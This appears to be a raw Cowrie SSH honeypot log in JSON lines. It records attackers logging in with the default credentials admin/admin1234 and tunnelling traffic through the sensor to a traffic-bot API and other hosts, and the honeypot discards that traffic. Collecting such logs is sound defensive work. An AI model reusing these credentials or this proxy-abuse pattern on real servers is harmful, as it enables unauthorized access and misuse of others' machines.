{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:38.597801Z","src_ip":"23.175.50.47","session":"1df6a7f1b8f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:41.450818Z","session":"1df6a7f1b8f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:41.510943Z","src_ip":"23.175.50.47","session":"1df6a7f1b8f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VH0lWXJ9QHFBaG05c3B4ag%3D%3DQATQN%2B%2FppRRPPlPLSDs3GRTgnLpmVeQx685oudUver5%2Be4JHnMGa7QTQN4agdPTtfZECK3g2w%2Bbp8fRomPRAUhPx7P%2FZ3ttmciIvHX9Wq3XxKeyXPq6GH5%2FHHKMaV%2BQ9rWHMElvlDuYJM3b%2F9QSs5Zx2U%2BYiMweZtRj5BwJEQolFGAlb%2FX%2FSx%2FB7Pp10WRz2kH7xM5s6OtXH4E7jOER%2F242J0reVRvVT8NrNKNNus5wO1%2Fv3V6XPlom4Ws5pAUhucAxKv8WkvfXppXuQznyMjEcuQvPRSakhKELhIXM5sZQ4Yb3mowXZmpwDzazWIPFwjcm0e6xdv7%2F%2BG4e3HPVKrmihH8pfK52nHs5pyEy4N8eyK%2FHNKGyAy%2FWag6plMsdn8CTczkAxBFjY1tZeBRIlPG4k6nZaWCHOm1EoJHqU635i5ynU3Jg2bP5uYCe6M4IpYP8Pl7wWJ9UdZY9nUKt3XVAW3D6HYZ5AjaP%2Biz8QChCi6sj3XSXXv9L69HdMC1Je4TSpE4qHHkxQB8Gs1evQb5%2F4z3YZvbPIGRJ4t46EQLrLGXOI3OyRWaZXoHD%2FvJBZ%2ByT3kURnBRSqQ5I0rrOgHPtUhPx7JVDUksdgFbFmFNGe%2Fve9VYoHzjrLklx3sTJzCThO1VujzOLSM%2B1i%2BOagw7s5tnTHh19CKa7vUei%2FUSJvTZ4CLnRtUk6YTY26kYjlMEXyjk6lEjzBPZ%2FCmWETS3idvKSfCkVswvjPPo8MJ7hwI8F4YIS91l%2FRRWEYCnPSNUccSzQwbxfbXz4J6BgNLVTa%2B3cy5jpiGVZwUcjyX015ElaFK2karFWB513CADWq0v00NaeOFadxpCyajL0fIVjiCHgbeRnd8pD1bRrLEZeuThQKDIzFyIP5U%2B%2ByoX50Js9DWIW2DgXc9PXYJGVMsCLGMEBhtCXVcjyA0TWRwlNVh5vOzqYe%2F%2Fkvy%2FCOP%2B%2Bgh%2FIcCkBBGXqjsabsp%2FfJF1MpMS2%2FDcF%2FMwdrPiKVKfZpn8CwoXQT5ETXPHnX0iNEdgX2PhbfXQ167OW4ZS5PoJuJz64bHtQL5HtcPl905CnBSvDd2sbEMauR9n8MG10a'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VH0lWXJ9QHFBaG05c3B4ag%3D%3DQATQN%2B%2FppRRPPlPLSDs3GRTgnLpmVeQx685oudUver5%2Be4JHnMGa7QTQN4agdPTtfZECK3g2w%2Bbp8fRomPRAUhPx7P%2FZ3ttmciIvHX9Wq3XxKeyXPq6GH5%2FHHKMaV%2BQ9rWHMElvlDuYJM3b%2F9QSs5Zx2U%2BYiMweZtRj5BwJEQolFGAlb%2FX%2FSx%2FB7Pp10WRz2kH7xM5s6OtXH4E7jOER%2F242J0reVRvVT8NrNKNNus5wO1%2Fv3V6XPlom4Ws5pAUhucAxKv8WkvfXppXuQznyMjEcuQvPRSakhKELhIXM5sZQ4Yb3mowXZmpwDzazWIPFwjcm0e6xdv7%2F%2BG4e3HPVKrmihH8pfK52nHs5pyEy4N8eyK%2FHNKGyAy%2FWag6plMsdn8CTczkAxBFjY1tZeBRIlPG4k6nZaWCHOm1EoJHqU635i5ynU3Jg2bP5uYCe6M4IpYP8Pl7wWJ9UdZY9nUKt3XVAW3D6HYZ5AjaP%2Biz8QChCi6sj3XSXXv9L69HdMC1Je4TSpE4qHHkxQB8Gs1evQb5%2F4z3YZvbPIGRJ4t46EQLrLGXOI3OyRWaZXoHD%2FvJBZ%2ByT3kURnBRSqQ5I0rrOgHPtUhPx7JVDUksdgFbFmFNGe%2Fve9VYoHzjrLklx3sTJzCThO1VujzOLSM%2B1i%2BOagw7s5tnTHh19CKa7vUei%2FUSJvTZ4CLnRtUk6YTY26kYjlMEXyjk6lEjzBPZ%2FCmWETS3idvKSfCkVswvjPPo8MJ7hwI8F4YIS91l%2FRRWEYCnPSNUccSzQwbxfbXz4J6BgNLVTa%2B3cy5jpiGVZwUcjyX015ElaFK2karFWB513CADWq0v00NaeOFadxpCyajL0fIVjiCHgbeRnd8pD1bRrLEZeuThQKDIzFyIP5U%2B%2ByoX50Js9DWIW2DgXc9PXYJGVMsCLGMEBhtCXVcjyA0TWRwlNVh5vOzqYe%2F%2Fkvy%2FCOP%2B%2Bgh%2FIcCkBBGXqjsabsp%2FfJF1MpMS2%2FDcF%2FMwdrPiKVKfZpn8CwoXQT5ETXPHnX0iNEdgX2PhbfXQ167OW4ZS5PoJuJz64bHtQL5HtcPl905CnBSvDd2sbEMauR9n8MG10a'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:41.514827Z","src_ip":"23.175.50.47","session":"1df6a7f1b8f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:42.499796Z","session":"1df6a7f1b8f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:42.571229Z","src_ip":"23.175.50.47","session":"1df6a7f1b8f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03%mE\\xe45>\\xa7-H\\\\\\x1f\\xe6}\\xdf|j\\xd1\\x1f\\xa2\\xa6\\xd7\\xd7\\xd8v;\\xc55\\x8f\\x1a\\xb7!\\xb0 M\\xd0\\x86\\x81\\x9a07G\\x17u\\xbe\\x84\\xbb\\x1a?G3-\\xda;\\xcd\\xddY\\xf9\\xa1\\xf7\\x84,\\xad>\\x80\\x1c\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1cD\\xb9\\x12\\xb0\\xdfbS\\x82\\xb3\\x8aH\\xe8\\xd5W\\x95\\xb4\\x84;\\xd0\\x8e\\xa1\\xce\\xe6&\\xd2\\x18Z\\xea\\x8d\\x94m\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03%mE\\xe45>\\xa7-H\\\\\\x1f\\xe6}\\xdf|j\\xd1\\x1f\\xa2\\xa6\\xd7\\xd7\\xd8v;\\xc55\\x8f\\x1a\\xb7!\\xb0 M\\xd0\\x86\\x81\\x9a07G\\x17u\\xbe\\x84\\xbb\\x1a?G3-\\xda;\\xcd\\xddY\\xf9\\xa1\\xf7\\x84,\\xad>\\x80\\x1c\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1cD\\xb9\\x12\\xb0\\xdfbS\\x82\\xb3\\x8aH\\xe8\\xd5W\\x95\\xb4\\x84;\\xd0\\x8e\\xa1\\xce\\xe6&\\xd2\\x18Z\\xea\\x8d\\x94m\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:42.577051Z","src_ip":"23.175.50.47","session":"1df6a7f1b8f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:42.710626Z","session":"1df6a7f1b8f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:42.769606Z","src_ip":"23.175.50.47","session":"1df6a7f1b8f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x0358\\x0e6{\\xf7\\xad\\xae\\xb7y\\xa5\\xa0t=0\\x01\\xa9\\xc1\\x01\\xe0\\xf7\\xd3iS\\x89YQ\\x14\\x84?e# \\xfb\\xcb\\xd1\\xe5\\n\\xfa&\\xa4\\xb6\\xad\\x8b\\r\\xf3x\\xc1hZ\\x1b\\x9aw\\xb3A\\xfc$\\xccj;\\x99\\xfd\\x94\\x98Z\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbe\\x88\\x92Q\\x94\\xdf\\\\Xt\\xa5\\x88\\xc3\\xcc,\\xa0H\\x17:#\\xf6h~o\\xc6>\\x7f\\x14\\x14\\xbd\\xb6nF\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x0358\\x0e6{\\xf7\\xad\\xae\\xb7y\\xa5\\xa0t=0\\x01\\xa9\\xc1\\x01\\xe0\\xf7\\xd3iS\\x89YQ\\x14\\x84?e# \\xfb\\xcb\\xd1\\xe5\\n\\xfa&\\xa4\\xb6\\xad\\x8b\\r\\xf3x\\xc1hZ\\x1b\\x9aw\\xb3A\\xfc$\\xccj;\\x99\\xfd\\x94\\x98Z\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbe\\x88\\x92Q\\x94\\xdf\\\\Xt\\xa5\\x88\\xc3\\xcc,\\xa0H\\x17:#\\xf6h~o\\xc6>\\x7f\\x14\\x14\\xbd\\xb6nF\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:42.772463Z","src_ip":"23.175.50.47","session":"1df6a7f1b8f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":55874,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e46bee8fa62","protocol":"ssh","message":"New connection: 123.27.168.40:55874 (10.17.0.5:22) [session: 0e46bee8fa62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:45.870362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:45.875138Z","src_ip":"123.27.168.40","session":"0e46bee8fa62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:46.109421Z","src_ip":"123.27.168.40","session":"0e46bee8fa62","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:47.122276Z","src_ip":"123.27.168.40","session":"0e46bee8fa62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:47.604772Z","src_ip":"23.175.50.47","session":"1df6a7f1b8f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:47.611175Z","session":"0e46bee8fa62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:26:47.843943Z","src_ip":"123.27.168.40","session":"0e46bee8fa62","protocol":"ssh"}
